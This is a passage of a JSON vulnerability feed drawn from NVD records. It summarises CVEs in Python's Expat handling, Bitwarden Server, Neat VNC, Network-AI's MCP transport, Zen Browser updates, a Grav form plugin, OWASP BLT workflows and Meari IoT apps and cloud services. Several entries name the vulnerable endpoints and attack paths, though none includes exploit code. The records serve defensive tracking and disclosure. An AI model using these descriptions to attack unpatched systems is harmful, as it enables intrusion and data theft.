`xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\\r\\n\\r\\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.","detail":"`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\\r\\n\\r\\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:42.413Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"python","product":"python","stacks":["Python","python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7210","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7210","type":"primary","publishedAt":"2026-05-11T18:16:42.413Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43640","cveId":"CVE-2026-43640","aliases":[],"kind":"vulnerability","title":"Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user...","summary":"Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session.","detail":"Bitwarden Server prior to v2026.4.1 does not require master-password re-authentication when retrieving or rotating an organization's SCIM API key, allowing an authenticated user with SCIM management privileges to obtain the key using only a valid session.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:37.110Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"bitwarden","product":"server","stacks":["Bitwarden","server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43640","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43640","type":"primary","publishedAt":"2026-05-11T18:16:37.110Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43639","cveId":"CVE-2026-43639","aliases":[],"kind":"vulnerability","title":"Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST...","summary":"Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST /providers/{providerId}/clients/existing`, resulting in takeover of the target organization; self-hosted installations are unaffected as this endpoint is restricted to Cloud via SelfHosted(NotSelfHostedOnly = true).","detail":"Bitwarden Server prior to v2026.4.0 contains a missing authorization vulnerability that allows a provider service user to add an arbitrary organization to their provider via `POST /providers/{providerId}/clients/existing`, resulting in takeover of the target organization; self-hosted installations are unaffected as this endpoint is restricted to Cloud via SelfHosted(NotSelfHostedOnly = true).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:36.970Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"bitwarden","product":"server","stacks":["Bitwarden","server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43639","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43639","type":"primary","publishedAt":"2026-05-11T18:16:36.970Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42859","cveId":"CVE-2026-42859","aliases":[],"kind":"vulnerability","title":"Neat VNC is a VNC server library.","summary":"Neat VNC is a VNC server library. Prior to 0.9.6, a pre-authentication stack buffer overflow exists in neatvnc in the RSA-AES security type handler. An unauthenticated remote attacker who can reach the VNC listening socket can send a crafted security type 5 (RSA-AES) or security type 129 (RSA-AES-256) handshake with an oversized client RSA public key, causing rsa_aes_send_challenge in src/auth/rsa-aes.c to overflow a 1024-byte on-stack buffer when encrypting the server challenge. This results in at least a denial of service via server crash. This vulnerability is fixed in 0.9.6.","detail":"Neat VNC is a VNC server library. Prior to 0.9.6, a pre-authentication stack buffer overflow exists in neatvnc in the RSA-AES security type handler. An unauthenticated remote attacker who can reach the VNC listening socket can send a crafted security type 5 (RSA-AES) or security type 129 (RSA-AES-256) handshake with an oversized client RSA public key, causing rsa_aes_send_challenge in src/auth/rsa-aes.c to overflow a 1024-byte on-stack buffer when encrypting the server challenge. This results in at least a denial of service via server crash. This vulnerability is fixed in 0.9.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:36.400Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42859","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42859","type":"primary","publishedAt":"2026-05-11T18:16:36.400Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42856","cveId":"CVE-2026-42856","aliases":[],"kind":"vulnerability","title":"Network-AI is a TypeScript/Node.js multi-agent orchestrator.","summary":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.","detail":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:35.990Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42856","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42856","type":"primary","publishedAt":"2026-05-11T18:16:35.990Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41431","cveId":"CVE-2026-41431","aliases":[],"kind":"vulnerability","title":"Zen is a firefox-based browser.","summary":"Zen is a firefox-based browser. Prior to 1.19.9b, Zen Browser ships a Mozilla Application Resource (MAR) updater (org.mozilla.updater) that has had all MAR signature verification stripped from the Firefox codebase it was forked from. The MAR files served to users contain zero cryptographic signatures, and the updater binary contains zero cryptographic verification code. This eliminates the defense-in-depth that MAR signing provides. If the update server or GitHub release pipeline is compromised, arbitrary unsigned code can be delivered to all Zen users via the auto-update mechanism. This vulnerability is fixed in 1.19.9b.","detail":"Zen is a firefox-based browser. Prior to 1.19.9b, Zen Browser ships a Mozilla Application Resource (MAR) updater (org.mozilla.updater) that has had all MAR signature verification stripped from the Firefox codebase it was forked from. The MAR files served to users contain zero cryptographic signatures, and the updater binary contains zero cryptographic verification code. This eliminates the defense-in-depth that MAR signing provides. If the update server or GitHub release pipeline is compromised, arbitrary unsigned code can be delivered to all Zen users via the auto-update mechanism. This vulnerability is fixed in 1.19.9b.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T18:16:34.280Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Mozilla Firefox and Thunderbird"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41431","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41431","type":"primary","publishedAt":"2026-05-11T18:16:34.280Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42845","cveId":"CVE-2026-42845","aliases":[],"kind":"vulnerability","title":"The form plugin for Grav adds the ability to create and use forms.","summary":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.","detail":"The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:34.157Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42845","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42845","type":"primary","publishedAt":"2026-05-11T17:16:34.157Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42603","cveId":"CVE-2026-42603","aliases":[],"kind":"vulnerability","title":"OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more.","summary":"OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pull_request_target (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.","detail":"OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pull_request_target (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:33.410Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42603","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42603","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42603","type":"primary","publishedAt":"2026-05-11T17:16:33.410Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33362","cveId":"CVE-2026-33362","aliases":[],"kind":"vulnerability","title":"In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical...","summary":"In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical secrets are hardcoded and shared, including API signing material, password-transport keying, and service access keys.","detail":"In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical secrets are hardcoded and shared, including API signing material, password-transport keying, and service access keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:31.083Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33362","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33362","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33362","type":"primary","publishedAt":"2026-05-11T17:16:31.083Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33361","cveId":"CVE-2026-33361","aliases":[],"kind":"vulnerability","title":"In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor...","summary":"In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor \".jpgx3\" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model.","detail":"In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor \".jpgx3\" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:30.970Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33361","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33361","type":"primary","publishedAt":"2026-05-11T17:16:30.970Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33359","cveId":"CVE-2026-33359","aliases":[],"kind":"vulnerability","title":"In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed...","summary":"In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed URLs, or expiry enforcement. URLs function as direct object references and remain valid beyond expected operational windows.","detail":"In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed URLs, or expiry enforcement. URLs function as direct object references and remain valid beyond expected operational windows.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:30.843Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33359","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33359","type":"primary","publishedAt":"2026-05-11T17:16:30.843Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33357","cveId":"CVE-2026-33357","aliases":[],"kind":"vulnerability","title":"In Meari client applications embedding \"com.meari.sdk\" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to...","summary":"In Meari client applications embedding \"com.meari.sdk\" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side authorization failure in \"GET /openapi/device/status\".","detail":"In Meari client applications embedding \"com.meari.sdk\" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side authorization failure in \"GET /openapi/device/status\".\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T17:16:30.730Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33357","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33357","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33357","type":"primary","publishedAt":"2026-05-11T17:16:30.730Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33356","cveId":"CVE-2026-33356","aliases":[],"kind":"vulnerability","title":"In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the...","summary":"In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the user does not own. The broker enforces publish restrictions but does not enforce equivalent subscribe authorization at per-device scope.","detail":"In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the user does not own. The broker enforces publish restrictions but does not enforce equivalent subscribe authorization at per-device scope.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 